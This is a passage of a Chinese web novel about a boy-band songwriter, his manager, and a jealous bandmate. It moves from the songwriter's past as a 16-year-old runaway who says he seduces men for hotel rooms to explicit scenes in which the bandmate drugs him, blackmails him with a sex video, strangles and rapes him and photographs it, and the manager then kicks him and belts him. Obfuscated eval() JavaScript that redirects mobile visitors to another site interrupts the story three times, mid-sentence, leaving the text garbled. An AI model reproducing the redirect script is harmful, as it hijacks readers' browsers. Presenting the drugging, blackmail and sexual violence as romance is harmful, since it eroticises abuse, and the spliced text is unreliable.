姜凝安哭得更凶了,紧紧扯着舒垣的衣角,泪珠一颗一颗地掉。他长得太过漂亮,哭起来鼻尖、眼角都泛着红,加之那一身音院附中的校服,完全是无辜受害者的形象,引得围观的人纷纷对着粉毛男口诛笔伐。 “真人渣啊……” “我们这儿好歹也是正经酒吧呢……派出所就在一公里外……这人真是不要脸!” “干嘛呢!吵吵吵,一堆人堵在这儿吵嘛呢?!还让不让人上厕所了?” 雄厚的男声在众人耳边爆开,一个浑身肌肉、留着脏辫的男人分开人群直捣男厕,两根粗眉一拧起来,格外的凶神恶煞。 “老板来了!” “哎呀老邱,你酒吧咋招了个未成年小孩当驻唱啊,看看,刚才有个咸猪手想摸人家小孩,要是被警察知道了,你又得赔钱!” 老板在三人面前站定,魁梧身姿宛如一尊铁塔,给人一种莫名的安心感。此人姓邱,号称天津卫驻北京办事处托塔天王,热爱摇滚,多亏了他太过欣赏姜凝安的即兴吉他弹奏,才把人留了一小段日子,不然早让未这个成年小屁孩滚去派出所等父母了。 “邱大哥!你帮我评评理!”粉毛男见了老邱如同见了亲人,哭丧着脸贴上去,“妈的不懂哪冒出一个人打我一拳,而且这个小婊子还污蔑我!” 老邱混迹江湖多年,见惯了大风大浪。他只扫了三人一眼,先对着粉毛男气贯云霄地开口道:“你,站起来,把脸上的血擦一擦,医药费我报销。” 粉毛男一愣。 “然后是你俩臭小子。”老邱又看向姜凝安和舒垣,“走吧。” 舒垣也愣住了:“老板,这……” 还没来得及说更多的话,舒垣手臂一紧,就被姜凝安扯出了男厕。姜凝安抹了一把眼泪,差点压不住嘴角的笑,即便背着吉他、拉着高个子的男生,他依旧像一条灵活优雅金鱼,在迷离的酒吧中穿行。 “等一下……等一下!”舒垣大叫两声。 姜凝安停下脚步。 “我……我的键盘没拿。”舒垣喘了一口气,抬头望着姜凝安,“你力气还挺大的……怎么刚才不推开那个粉头发的?” 姜凝安立马装可怜说:“我太害怕了,只想着逃,不小心把你一起扯出来了……对了,我能叫你哥吗?” 就在这时,老邱派人给舒垣送键盘了,附带姜凝安的全部行李,大有当甩手掌柜的意思。 舒垣背上自己的键盘包,对他淡淡笑了笑,说:“随便你怎么叫。不过我真名叫舒垣,今晚原本来应聘键盘手的,传媒大学戏文专业大一在读。刚刚在台下看见你弹奏和演唱《波西米亚狂想曲》,觉得你很厉害,就和老板打听了你一下,没想到你才十六岁,了不起啊。” 姜凝安被他夸得飘飘然了:“我也觉得我很厉害!” 舒垣看了看手表,对他说:“好了,我得去赶末班地铁了,不然赶不回去。不如留个联系方式怎么样?以后我想组个乐队,如果你感兴趣的话。” 说着,舒垣从包里掏出水笔和本子。 姜凝安乖乖写下自己家的联系电话。 舒垣对他摆摆手:“拜拜,你有想法可以随时给我发短信!”说完,转身就走。走到一半,这男的又回过头,对姜凝安说,“对了,下次再遇到那种人,你就一拳打上去,别害怕,你越害怕,他们越想欺负你。” 姜凝安点点头。 心里却想,我赖定了你。 于是舒垣走几步路,他就跟在后头也走几步路,蹑手蹑脚的,舒垣一回头,他立马躲起来。结果一时没注意,不小心踩到了垃圾桶下流浪猫的尾巴,猫大叫一声,差点给了姜凝安一爪子,一抬头,舒垣在前面神色复杂看着他。 “你……”舒垣语气犹豫,“和我同路?” 姜凝安摇摇头。 舒垣满脸疑惑。 “那个……我是离家出走。”姜凝安索性也不装了,两手一摊,“前几天赖在邱老板那里,或者靠勾引粉头发的那种男的,让他们带我住酒店。但你打赢了他,所以我跟你回家。” 舒垣在原地缓缓凝固。 “你说什么?”他愣愣问道。 姜凝安吊儿郎当一摆手,又重复了一遍。 舒垣脸上渐渐浮现怒色:“你真是个恶劣的小鬼!怎么能开这种玩笑?你父母不教你好歹是非的吗?我怎么可能带你回家?拜托,大哥我是大学生,我住宿舍,你跟我走,你想住哪儿?” 姜凝安挤出两滴鳄鱼的眼泪。 舒垣冷冷说:“哭对我没用,这样吧,我送你去派出所,叫你爸爸妈妈来接你回家。” 姜凝安小小声说:“不想回家……” 舒垣:“不行,必须回家,你是未成年人。” “爸爸妈妈……会打我。”姜凝安眼泪掉个不停,“他们很优秀,也要我像他们一样优秀,让我天天拉小提琴,拉不好,就拿琴弓打我……” 将近十一点的帝都,酒吧街上,四周是流光溢彩的高楼大厦,两个男孩背着乐器遥遥相望,末班地铁在他们脚下轰鸣。 黑夜那么的漫长。 姜凝安说:“我不想再挨打了……我不想再练习小提琴了……我想……我也想租乐队。舒垣哥,我想和你组乐队……你带我走,好不好?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531582|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 舒垣大概还是心软了,几番权衡,还是没忍心拒绝小孩,冷着一张脸把姜凝安带回了自己租的房子。 很老的筒子楼,卫生环境相当一般,楼梯间贴满了牛皮癣小广告,墙漆大多脱落了,呈现出斑驳的岁月剪影。此地鱼龙混杂,但胜离传媒大学和地铁站很近,周边吃的玩的也多,租金也不过千,于是舒垣欣然租下。 姜凝安还没见过这种老楼。他的家境非常好,从小到大常年在国外参加比赛,很少深入过普通人的生活。眼前的一切都让他感到稀奇,尤其是正在爬楼梯的舒垣,简直是他今年找到的最好玩的新玩具。 “忘了和你说一件事。” 在玄关换鞋的时候,舒垣冷不丁看向姜凝安,神色严肃。 姜凝安一脸好奇打量着出租屋,闻言回了一句:“嗯?”这屋子是两室一厅,客厅改造成了一个简陋的工作室,墙壁上贴着歪歪扭扭的隔音材料,茶几上摆着吉他和电子键盘,整体非常朴素、老旧,灯光昏暗,甚至泛着一股若有若无的霉味。 舒垣淡淡说:“这间屋子死过人。” “哇啊!”姜凝安顿时吓得脸色惨白。 舒垣指了指右边的房门:“就是那里面,房东锁了起来,听说是自杀,不然当初也不会五百就租给了我。” 姜凝安真哭了:“你……你别说了……” 舒垣看着他,轻轻笑了一声。 紧接着,姜凝安就调理好了。反正有舒垣在嘛,有人在他就不怕鬼,他也是很坚强很勇敢的人好吧。他趁着舒垣洗澡,开始捣鼓起舒垣的电脑和录音设备,结果一不小心,就把自己和舒垣的对话录了下来。 那应该算是他们之间的第一份demo,如果非让十多年后的姜凝安给它取一个名字,那只能是“boy meets boy”。 男孩遇见了男孩。 他们相识的第一夜,通宵聊音乐,从夜色苍茫聊到天边泛起鱼肚白,狂欢了一夜的帝都在天光大亮时变回那个忙碌的城市,筒子楼下开始飘荡蒸包子馒头的白汽,有人吆喝着卖豆汁,而他们一个趴在沙发上睡着了,一个瘫在椅子上睡着了。 时至今日,姜凝安还记得沙发的扶手咯得头疼,猛然惊醒,发现舒垣要去赶早十的那一刻,他狠狠撞了上去,额头顿时起了一个大包。 正如此时此刻。 姜凝安从漫漫往事中惊醒,脑门磕在电脑桌上,身边依旧是芮新的高端录音棚,而那份只有几句对话的demo,在他耳机里重复了一个晚上。 天亮了。 他还是没能写出什么令自己满意的东西,不过是他十六岁的某些幽微情绪,跨越十三年漫长时光重新降临在他的身上,但并不是他想要的。 姜凝安摘下耳机,犹豫要不要去休息。 听说早上六点的阴气也很重。 但他的腰趴了一夜,稍微动一下就在抗议,咬咬牙,还是推开了录音棚的大门。 走廊上空空荡荡。 但对面的办公室门是打开着的。 姜凝安走进去,目光一颤,看见了一个穿着灰色西装的身影,也趴在桌子上,闭着眼睛睡觉,早上六点的阳光轻柔笼罩着男人。 是舒垣。 他昨晚没有走么? 姜凝安几乎要落下眼泪。 他快步上前,在即将接近男人的那一瞬间,又放轻了脚步。他弯下腰,一点一点靠近舒垣紧抿的嘴唇,淡金色的阳光照在他们两个人之间,将眼睫毛、头发、鼻尖……全部染上了一层朦胧的柔光。 姜凝安亲了亲男人的嘴唇。 这个世界上只有一个人能让他同时有上天堂、下地狱的感受。 那就是舒垣。 澎湃的心绪几乎要凝成某种脱口而出的旋律,姜凝安忘我的又亲了亲,这是他最爱的人,唯一爱的人,他青春时光里最重要的人。 啪嗒。 姜凝安立即抬起头,望向传出声音的门口。 “不好意思。” 楚月一脸无辜地举起了手。 “姜哥,你可以当作我什么也没有看到。” 8.小步舞曲(一) 姜凝安看着门口的楚月,倒也不慌乱,只是浪荡一笑说:“阿月,早上好啊,这么早就来泡练习室?” 随随便便亲男人的画面,这帮队友平时也看得多了,偶尔他突发奇想亲一下帅气的男经纪人,也不算奇怪吧? 楚月也笑:“嗯,十周年巡演的编舞还没敲定呢,我放不下心,提早来了——姜哥昨晚没回宿舍?” 姜凝安活动了一下肩颈,随意说:“突然有点想法,在录音棚通宵呢。” 楚月点点头:“这样啊……那我就不打扰了……” 就在这时,舒垣醒了。他估计睡得有些懵,原本服帖的头发翘了几个角,虚着眼睛打哈欠,顺带转了转右手。不知是压久了发麻,还是手伤犯了,他右手活动并不怎么灵活,一边转动腕骨伸展手指,一边皱着眉头,似乎在忍痛。 舒垣问:“几点了?” 姜凝安不再理会楚月,全心全意盯着男人,被那缕翘起来的头发惹得心痒,想用手抚平,然后抱着男人不放手。他舍不得舒垣走,他喜欢舒垣这幅普通男人晨起时的模样,于是嘴上胡乱报了一个数:“六点半吧。” 楚月说:“舒经纪,七点了。” 舒垣颔首,起身整理了一下西装,对两个人面无表情地说:“不好意思,昨晚一直在处理接下来一个月的行程,不小心在办公室睡着了。我先回公寓洗澡换身衣服,上午九点之前我会回到公司。” 姜凝安说:“我和你一起回去吧?” 舒垣理都不理他,提包就走。 一旁的楚月露出尴尬的笑容,眼睛却在冷静地审视两人的关系。甚至不需要所谓的直觉,楚月可以断定,这两人有故事。 这让楚月心里很不是滋味。 他和姜凝安共事多年,也勉强算是甘苦与共的关系,平时见惯了姜凝安放纵又混乱的生活,似乎随便一个长得还不错的男人这人就可以上床。但姜凝安的眼睛始终没什么感情,那双琥珀色的眼睛如同剔透的玻璃珠,美则美矣,却不把任何人放在眼里。 何时有过这样的眼神? 像只湿漉漉的、求人*自己*的狗。 真欠*啊。 楚月把手背到身后,掩饰自己的颤抖,眼睛却始终落在姜凝安的身上。姜凝安今天只穿了一件白衬衫,开了最顶上的两颗扣子,露出雪白的大片肌肤和深邃的锁骨,腰间松松系着一根皮带,下面配的深蓝色牛仔裤,显得人个高且瘦,尤其是腰,微微扭动身子的时候,楚月都能想象到布料底下温热的、覆着一层薄肌的肉/体。 “阿月,你愣在那儿干什么呢?” 姜凝安说。 他走上前,以哥哥的姿态揽住楚月的肩,歪了歪头说:“走,去吃早饭。” 楚月说:“好,我请哥吃吧。”余光里,他看见姜凝安歪头时耳钉银光微闪,妆似乎没卸干净,脸颊上还残留了一抹淡淡的红痕,不知是被谁抹开的。 姜凝安挑眉:“你请我呀?那我可要大吃一顿了。” 楚月的脸上又浮现腼腆的笑。 姜凝安究竟把他当成什么了? 他好歹也是个男人啊…… …… 楚月比平时更上心了一些。 他躲在角落里,眼睛冷冷观摩着姜、舒二人,当然,更多是在观察姜凝安。这人每每遇上舒垣,笑容先于说话,又为了保持疏离,刻意地收起笑容,可一旦有了空子,姜凝安的眼睛就会立马落在舒垣的身上。 那种眼神可以说是望眼欲穿。 楚月甚至有更恶毒的想法,似乎只要舒垣回一个温和的眼神,姜凝安就能当着所有人的面对舒垣张开腿……真让人恶心。 “阿月,你在看什么呢?” 魏嘉杰拍了拍他的肩膀。 楚月心里一惊,但面上迅速稳住了,回过头说:“没什么,发呆呢……姜哥还没来么?我和编舞老师商量好了,想让他过来看看新舞的效果怎么样。” 魏嘉杰耸耸肩:“还在录音棚呢!” 楚月起身,拿起毛巾擦了擦脸上的汗,轻声说:“我去看一看,舞蹈还是要尽早定下来的,不然练不熟。” 他走出灯光明亮的练习室,踏入略显昏暗的走廊,身影映在墙壁上的镜子中。一张过分精致的脸在镜中显现,大双眼皮,高鼻梁,清晰的下颌线,很漂亮,带着一点女气。这张脸的人气很高,因为楚月舞跳得好,非常好,明明应该是最火的定位,却十年如一日被姜凝安的光芒遮掩。 楚月不喜欢自己的脸。 他无比厌恶。 这些年,他不停地躺手术台,注射肉毒素,填入鼻基假体,削去多余的下颌骨……该做的项目,他都做了,不该做的,他咬咬牙,也做了。每天晚上,他洗完澡后照镜子,轻轻抚摸自己的脸,仿佛能感受到皮肉之下的假体在融化,肉毒素化作蛆虫,一点一点啃食着他。 楚月的脸隐没在黑暗中。他轻手轻脚走向姜凝安的录音棚,也许不是肉毒素,而是别的什么,不仅啃咬着他的血肉,也在啃咬他的心脏。 吱呀—— 门开了。 楚月停在门口。 录音棚被隔音玻璃分成了两半,姜凝安和他隔着一道厚厚的玻璃,抱着款式简单的木吉他,纤长苍白的手指轻轻扫着弦,手腕缠着梵克雅宝五花手链,垂着一双桃花眼,薄唇开开合合,似乎在唱些什么。 很温柔的姜凝安。 琥珀色的眼睛第一次流露出几乎可以说是深情的东西,这种浪子的眼睛里也能长出爱情吗?谁能被这双眼睛注视?谁又配被这双眼睛注视? 粉丝吗?那些炮友?那个男经纪人? 为什么不看着他? 为什么你不看着我? 我想把你的眼珠抠下来,我想拥有一张天然的好看的脸,我想既然你的脸不是我的,那干脆把你变成我的吧。 楚月狠狠掐着自己的手腕,在疼痛中惊醒,一身的冷汗。而姜凝安已经发现他的存在了,对他挥了挥手。 “姜哥,舞编好了,你来看一看?”楚月勉强笑笑。 隔着一道玻璃,姜凝安没听到,放下吉他,对着他比了个噤声的手势。 又等了一会儿,姜凝安才跑出来,说:“你咋一直等我?先回练习室呗,我知道你们编完舞了,刚刚孙老师和我发消息了。” “没事,我又不急。”楚月说,顺带悄悄贴近了他,嗅见他身上浅淡的香水味,是拿破仑之水,烤菠萝、柑橘和木头的香气,混带着一丝口香糖的薄荷气息,勾勒出成熟又清新的气质。楚月牢牢记住今天的气味,打算回去发帖。 黑色论坛上有一个贴子专门讨论姜凝安使用的香水,贴主好巧不巧,正是楚月本人。他和陈俊远很早就混了进去,混得如鱼得水,一边嘲笑这帮辱追梦男,一边又有点感同身受。 回到练习室,楚月压下那些恶毒的念头,迅速进入状态,和编舞孙老师一起,踩着改编成爵士版本的《不渝》主打曲的节拍,跳了起来。 楚月跳得满身大汗,几乎是全身心投入。他热爱舞台,热爱舞蹈,又正好是Novae的十周年,呕心沥血,编了高难度且美观的动作。他最近剪了狼尾,发梢湿哒哒黏在脖颈上,而每转一次身,他都会用余光观察姜凝安的表情。 姜凝安熬夜写歌,是努力,是天才。 那他呢? 他也熬夜练舞、编舞,努力让舞蹈契合姜凝安的音乐,他不想被落下,不想辜负在手术台上躺着的那些日子。 他…… 姜凝安的脸色渐渐冷了下来。 楚月很清楚,姜凝安不满意,而且是很不满意。 “阿月。” 姜凝安开口了。 “很抱歉,我认为……你和孙老师可能需要重头再来。” 楚月撑着膝盖,大口大口喘气,一瞬间愤怒直冲脑门,差点控制不住他的表情。他问:“为什么?姜哥,是你要改编为爵士舞曲,我也努力往你想要的风格靠近了……” 姜凝安只垂着头,似乎完全沉浸在了自己的世界里:“不是你和孙老师的问题……我只是想,嗯,就是加一点特殊的动作进去,比方说踢踏舞,用我们自己的皮鞋底跳出节拍,说不定更符合风格一点。” 楚月的呼吸顿时有些困难。 总是这样,一直是这样。 姜凝安对所谓的舞台效果有着近乎苛刻的要求,他看起来很好说话,似乎很温柔斯文,即便私生活混乱,也依旧是一个敬业的榜样。但楚月很清楚,这人固执到了一定的程度,在专辑制作上近乎独裁者。 姜凝安从不把队友当成男人。 而是当成乐器,或者舞台装置。 一切为了他心中理想的舞台服务。 谁会和乐器、舞台装置上床? 楚月气得双眼通红,撑在膝盖上的手被他自己捏得关节嘎吱嘎吱地响。 姜凝安揉了一把他的脑袋,笑着说:“辛苦你了,阿月,我待会给你们点夜宵吧!最近我有点新想法,今晚大概也不回宿舍,你们待会回去小心一点!” 楚月抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533995|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容璀璨:“好,谢谢哥!” 回宿舍的路上,楚月和陈俊远同路。 陈俊远问他:“你今天没事吧?” 楚月笑笑,无所谓说:“你要不是不知道他的脾气,我要是和他抬杠,他能和我辩论到明天早上。反正公司捧他咯,新专销量不好,压力给到他,他又把脾气发到我们身上……” 陈俊远吹了一声口哨:“人渣是这样的。” 楚月忽然停了脚步,对陈俊远说:“对了,那个视频……你能发一份给我吗?” …… “我写完了。” 姜凝安趴在自己宿舍的大床上,用肩膀夹着手机,一边挑选助兴用的玩意儿,一边对手机里的舒垣笑着说。 手机那头的男人沉默了一下,说:“你发demo给我吧,我在陪魏嘉杰拍广告。” 姜凝安当即拒绝:“不要,没有demo,只有我的一把旧吉他,一个完整的人,和一首不到两分钟的……情歌。” 舒垣:“……” 姜凝安笑了,逗舒垣很好玩,男人越对他露出无语的态度,他越想狠狠贴上去亲男人,那个表情在他眼里甚至可以说是可爱的。他说:“真的是情歌哦,一定要我亲自唱给你听才作数!你晚上回公司吗?你回的话,我就在录音棚等你,你要是很满意的话,我们今晚就去开房好不好?” 舒垣沉默了很久,淡淡说:“我大概率不会满意,你写的情歌一塌糊涂,完全不知道你在爱什么。姜凝安,爱情不是你想的那个样子。” 姜凝安不满地哼哼两声:“你等着瞧吧!” 对面挂了电话。 姜凝安把鸡零狗碎的轻取用品塞进吉他盒里,嘴里哼着不知名的小调,心情颇好。那天他亲了舒垣,旋律就自己从心里长了出来,熬了三个大夜,终于改到自己满意了。 还是他这半年最满意的曲子。 他收拾好东西,背上吉他盒准备走,出了门却发现楚月站在楼梯口,直勾勾盯着他,身体一动不动。 “阿月?”他唤了一声。 楚月笑了笑:“姜哥,我又编了版舞,用手机录了下来,你要看看吗?” 姜凝安算算时间,应该是够的,便主动放下了吉他盒,坐在自己床的边缘,说:“你放吧!” 楚月把手机递给他,转过身,到楼梯间的小冰箱里掏了两瓶可乐。姜凝安接过来时道了一声谢,手一扭,那盖子却是松的。 姜凝安没有多想,楚月一向贴心,拿饮料帮人拧开是常有的事。他喝了几口可乐,觉得有些冰,胃在悄悄抗议,便放到了床头柜上。 楚月的手机里一片漆黑。 只看得出持手机的人在颤抖。 姜凝安皱起了眉。 “郭总……”一个声音从手机里缠绵而出,带着几丝哭腔,旋即便是响亮的巴掌声,那个声音又轻轻道,“爸爸……” 屏幕剧烈颤抖,身上不挂一丝的两个人赫然出现在画面正中央。 姜凝安瞳孔骤然缩小! 是他和……郭棹。 三个月前,郭棹订婚前夕,他们两个人在休息室打了最后一泡,没想到竟然…… “楚月,你……”他把手机甩到地板上,冷冷看向门口的男人,刚想要站起来揍人,谁料身子一软,重重倒在了床上,怎么也使不上力。 楚月露出腼腆的微笑,大步上前,压在姜凝安的身上,一只手拿起地上的手机,把音量调到最高,另一只手则掐住了姜凝安的脖子。 “姜凝安,你也不想这段视频被发到网上吧?虽然你的名声本来就差,但这么露骨、香艳的画面,大家应该都没看过……” 楚月笑起来十分甜蜜,那张脸乍一看雌雄莫辨,可出色的体格又给予了他男人的压迫感。他掐着姜凝安的手愈发用力,把人掐得直翻白眼。 “你现在这个表情我很喜欢。” 姜凝安呼吸不过来,又反抗不得,鬼知道楚月给他下了什么药,他也只能翻翻白眼吐吐舌头了。他费力盯着手机屏幕,越看心里越是悲凉。 “你……想……怎么样?”他勉勉强强挤出一句话。 楚月笑:“让我*你的*,直到我爽了为止。” 只是这样啊……舒垣那边怎么办呢? 他总不能带着别的男人的东西,去和舒垣开房吧! 姜凝安悲凉地想。 他觉得那个视频拍得好烂,一点美感都没有,原来他和别的男人滚床单都是那种不要脸的样子吗? 完全不够帅…… 9.小步舞曲(二) 仔细算算,姜凝安差不多有半个月没睡过人了。他有点太过在意新专的风评,以至于潜意识里必须拿禁欲来约束自己。 但真有男的想和他睡,他还是大为欢迎的。 不懂楚月给他下了什么药,姜凝安被掐得微微窒息,大脑逐渐糊作一团,耳畔开始响起若有若无的嗡鸣……他蛮喜欢窒息的,窒息到了一定程度,能带给他愉悦感。 楚月关掉视频,用手机轻蔑拍打着姜凝安的脸,冷冷说:“怎么样,好看么?你不是叫郭棹爸爸么?来,叫一声让我听听。” 姜凝安毫无廉耻叫道:“爸爸。” 楚月一愣。 姜凝安顿了一下,又挤出一句话:“*我。” “**狗!” 楚月被这人的无下限惊呆了,气得双手一起掐住那修长白皙的脖子,发力,以扼死一只天鹅的态度,让姜凝安无法呼吸。明亮的琥珀色眼珠开始涣散,嘴唇开始充血…… 姜凝安要被掐到顶峰了,眼前直冒金星,大脑噼里啪啦地响,忍不住溢出了一丝声音。他的音色一向特别,清越,悠扬,仿佛一台上好的中提琴,在尾音却泛着浅浅的沙哑。 楚月松开了手。 他扯住姜凝安的头发,拿起手机,拍下了眼前狼狈又糟糕的一幕。 “姜凝安,我讨厌你。” 楚月笑了笑。 紧接着,猛地拽起姜凝安的头…… “……我讨厌你,我恨你,都是因为你……如果不是你,我怎么可能变成现在这个样子?”楚月恶毒地辱骂。 ………… 姜凝安用尽全身力气,抬起头看着楚月。 “如果……揍我能让阿月舒服的话……阿月怎么玩我都不会生气的哦……”姜凝安轻轻笑着说,迷药让他说话都很困难,声音又黏又哑,“是昨天的事吗?是以前的事吗?一直以来,我对阿月都不算好呢……” “不要再说了……不要再说了!” 楚月几乎崩溃了,双目赤红,那张平日里总是腼腆、秀美的脸扭曲得不成样子,整容留下的痕迹一瞬间暴露无遗。 “姜凝安……”楚月稍微冷静了一些,“如果不是犯法,我今天可能对你先*后杀。” 姜凝安无奈一笑:“阿月,你已经犯法了。” 楚月抬手就给了他一巴掌,冷笑说:“闭嘴,姜凝安,你现在只是一条*狗……不然我弄死你。” ………… “其实我一直都知道……你是什么心思……” 姜凝安实在忍不了,故意挑衅道。 “你和陈俊远都想睡我吧?但我就是装作看不到……之前好几次,你抱着我拍照,都顶到我了……” 楚月的动作一滞。 “你其实很嫉妒我……是吧?” 姜凝安轻轻说,眼睛微微眯起,眼尾上挑,泛着情潮的红,而眼睛里不见任何的惶恐与愤怒,依旧含着轻佻浪荡的光。 楚月剧烈喘气。 他又哭又笑,扯着姜凝安的头发,狠狠掼上床头板。 咚地一声,撞得姜凝安眼冒金星。 “原来你一直都知道啊……” 楚月面目狰狞地哭着。 “人渣,你真是个人渣啊……我算什么?他们算什么?都是你姜凝安的陪衬么?你有没有想过……我也有梦想,我也想被所有人看着!” 泪水滚烫,一滴一滴砸在姜凝安的脸上,顺着他的脸颊下滑,乍一看,还以为是他在哭泣。他淡淡说:“哦,那关我什么事呢?我也尽力带你们了。你的梦想是你的事,我自认为……对你们、对Novae没有任何对不起的地方。” 紧接着他就说不出话了。 楚月愤怒到了极点,胡乱卷起不知从哪摸出来的内裤,团起来塞进姜凝安的嘴巴……世界终于安静了。 但当他与姜凝安对视,那双浅棕色的、近乎琥珀的眼睛里却没有任何情绪,实在要找到一种,或许是冷漠,或许又是怜悯。姜凝安是天才,自然有着天才的骄傲与刻薄,他怎么能奢求这种贱人的同情? 楚月从盛怒中恢复些许神志,他轻笑一声,柔美的脸上满是阴毒,伸出手,解开了姜凝安的衣服。 ………… 楚月举起手机,对着姜凝安咔嚓一声…… 姜凝安平静地看着镜头,很想问楚月能不能把他拍好看一点?他有点自恋,即便是*照,也想拍出艺术感。 很可惜楚月并不在乎。 ………… “姜哥,开拍了哦。” 楚月举着手机,温柔笑笑。 ………… “小狗……”楚月俯下身,贴着姜凝安的脸,撕咬那双殷红的薄唇,一面乱亲,一面问,“你……有没有爱过谁?” 姜凝安的眼前顿时浮现出舒垣的模样。 男人夹着一支烟,坐在他的前方。 “……”姜凝想要喊出男人的名字,却又发不出声。 楚月又扇了他一巴掌,皱着眉问:“你鬼叫什么?” 姜凝安笑了,他说:“汪汪。” …… “舒经纪要回公司?” 魏嘉杰正在卸妆,见一旁的舒垣收拾公文包,爱管闲事的性子又压不住了,多嘴问了一句。 舒垣说:“嗯,回去取个行程。有什么事,嘉杰你打电话给我吧,我随叫随到。” 说罢,迈开长腿,向停车场走去。 活动在天津,离帝都一个小时多的车程。舒垣听了一路的电台广播,主持人在激烈讨论Novae的音乐,或者说,姜凝安的音乐。车窗外已是日暮时分,车流如迷幻的电流。 堵车,舒垣到公司的时候,天已经黑透了。他坐电梯上楼,走进录音棚,却发现里面没有一个人。 …… 嘟—— 嘟—— ………… “手机……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535855|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜凝安侧头看了一眼,说。 楚月捞起他的手机,定睛一看,来电人只有一个字——哥。 “哥是谁?”楚月问。 姜凝安说:“给我……” 楚月笑了笑:“是舒垣吧?姜哥,你其实很爱他,对不对?” 姜凝安说:“不关你的事。” 楚月大笑了几声,脸冷了下来。他当着姜凝安的面挂断了电话,说:“要不这样吧,姜凝安,我们玩个游戏。我叫舒垣来宿舍,让他来见你被我*过的样子,他要是没有吐,你就赢了,怎么样?” 姜凝安看着他,嘴唇动了动。 但楚月已经行动了。 他用姜凝安的手机给舒垣发消息。 姜:【我在宿舍。】 姜:【哥,你来找我。】 姜:【我有惊喜。】 …… 舒垣还是第一次进入Novae的宿舍,芮新不远处的高档小区,双层别墅,安保十分严格。 他是经纪人,有密码,进入别墅的时候,里面空无一人。魏嘉杰、陈俊远以及黄元维今明两天都有重大活动,晚上住在外地的酒店。 姜凝安的房间在哪? 舒垣并不想来找他,甚至也不打算和这人上床,他感觉自己会吐,一想到姜凝安的那具身体,他就想吐。他一直以为自己是直男,所以当年对十八岁的姜凝安起反应的时候,他差点没把自己吓死。 哐当。 楼上传来动静。 伴着不明显的吉他弹奏的声音。 舒垣抬起头,没有太多的犹豫,拾级而上。 二楼最里面的那间房,门是开的。 舒垣皱起眉,走进那扇门,越是走近,耳畔若有若无的吉他声越是明显,很柔和的一支民谣,有人用沙哑的声音,轻声哼唱。 请你假装爱上了我, 即便只有一瞬间…… 他推开虚掩的门,鼻子里顿时塞满了腥膻气味,卧室里十分昏暗,墙壁上挂着好几把吉他,其中一把天使形状的电吉他,正是舒垣遇见姜凝安时的那一把。那把天使吉他下面、凌乱的床上,坐着怀抱民谣吉他的姜凝安,头发、眼睫毛、唇角都还沾着男人的东西,身上只披了一件被撕烂的衬衫、胡乱套了一条内裤,胸膛、大腿上满是痕迹。在天使的照拂之下,此情此景,显得既荒诞又可笑。 姜凝安笑着说:“哥,你来了。” 舒垣站在门口,一动不动,身影沉默如坚硬的石头。 姜凝安有些慌乱,眼眶微红,放下手里的吉他,撞撞跌跌摔下床,口中哭道:“哥,对不起,我……” 舒垣问:“你满意吗?” 姜凝安一愣:“满意。” 舒垣反手锁上了门。 姜凝安一时没反应过了,刚才被楚月折腾了太久,身体没什么力气,可当舒垣走到他的面前,用手扯住他的头发,他顺着本能,轻轻咬上了舒垣的裤链。 10.小步舞曲(三) 姜凝安含混不清地说:“唔……哥,我今天不想和别人上床的,但事发突然……我原本已经洗干净了,只想和你……” 舒垣问:“谁?” 姜凝安见男人没有推开他,大着胆子,继续口齿不清说:“唔……是楚月。” 舒垣说:“他估计蛮讨厌你的。” 姜凝安有些听不见舒垣说的话了,悄悄贴上舒垣,那张看惯风月的脸上竟然流露出羞涩的神情。他想把舒垣伺候舒服了,从此再也离不开他。 “我也很讨厌你。” 舒垣说罢,冷不防狠踹了一脚姜凝安。 姜凝安痛呼一声,心口被踹得闷痛不已,身体直往后倒,脊椎重重撞上床缘,疼得他蜷缩起了身子,胸口立马青了一大片。 “哥……”他缩在床边,小小声地呼唤。 舒垣主动解下皮带,一边解一边说:“滚过来。” 姜凝安没有任何犹豫,甚至也不顾胸口还疼着………… 他抬起头看向舒垣,眼睛蒙了一层泪光,小声说:“哥要用皮带抽我吗?别用右手……哥以前右手受过伤……” 啪地一声,带着破空声,姜凝安闷哼一声,身上立刻多了一道皮带抽打后的红痕,鲜红刺目,似乎已经破皮了,有淡淡的血渗出。 舒垣轻轻说:“你怎么好意思提的?” 说着,他把左手换成右手,又狠狠抽了姜凝安一皮带,远不如上一次响亮,姜凝安也只是轻轻嘶了一声,而他的右手却在剧烈颤抖。 肌腱断裂,骨折,里头打了钢钉。 从那天起,舒垣再也不能弹琴了。 而罪魁祸首还在这里装可怜,像只狗,湿漉漉地看着他,对他摇着尾巴,恨不得他把……摩擦…… “啊!” 下一抽,精准抽到了姜凝安…… 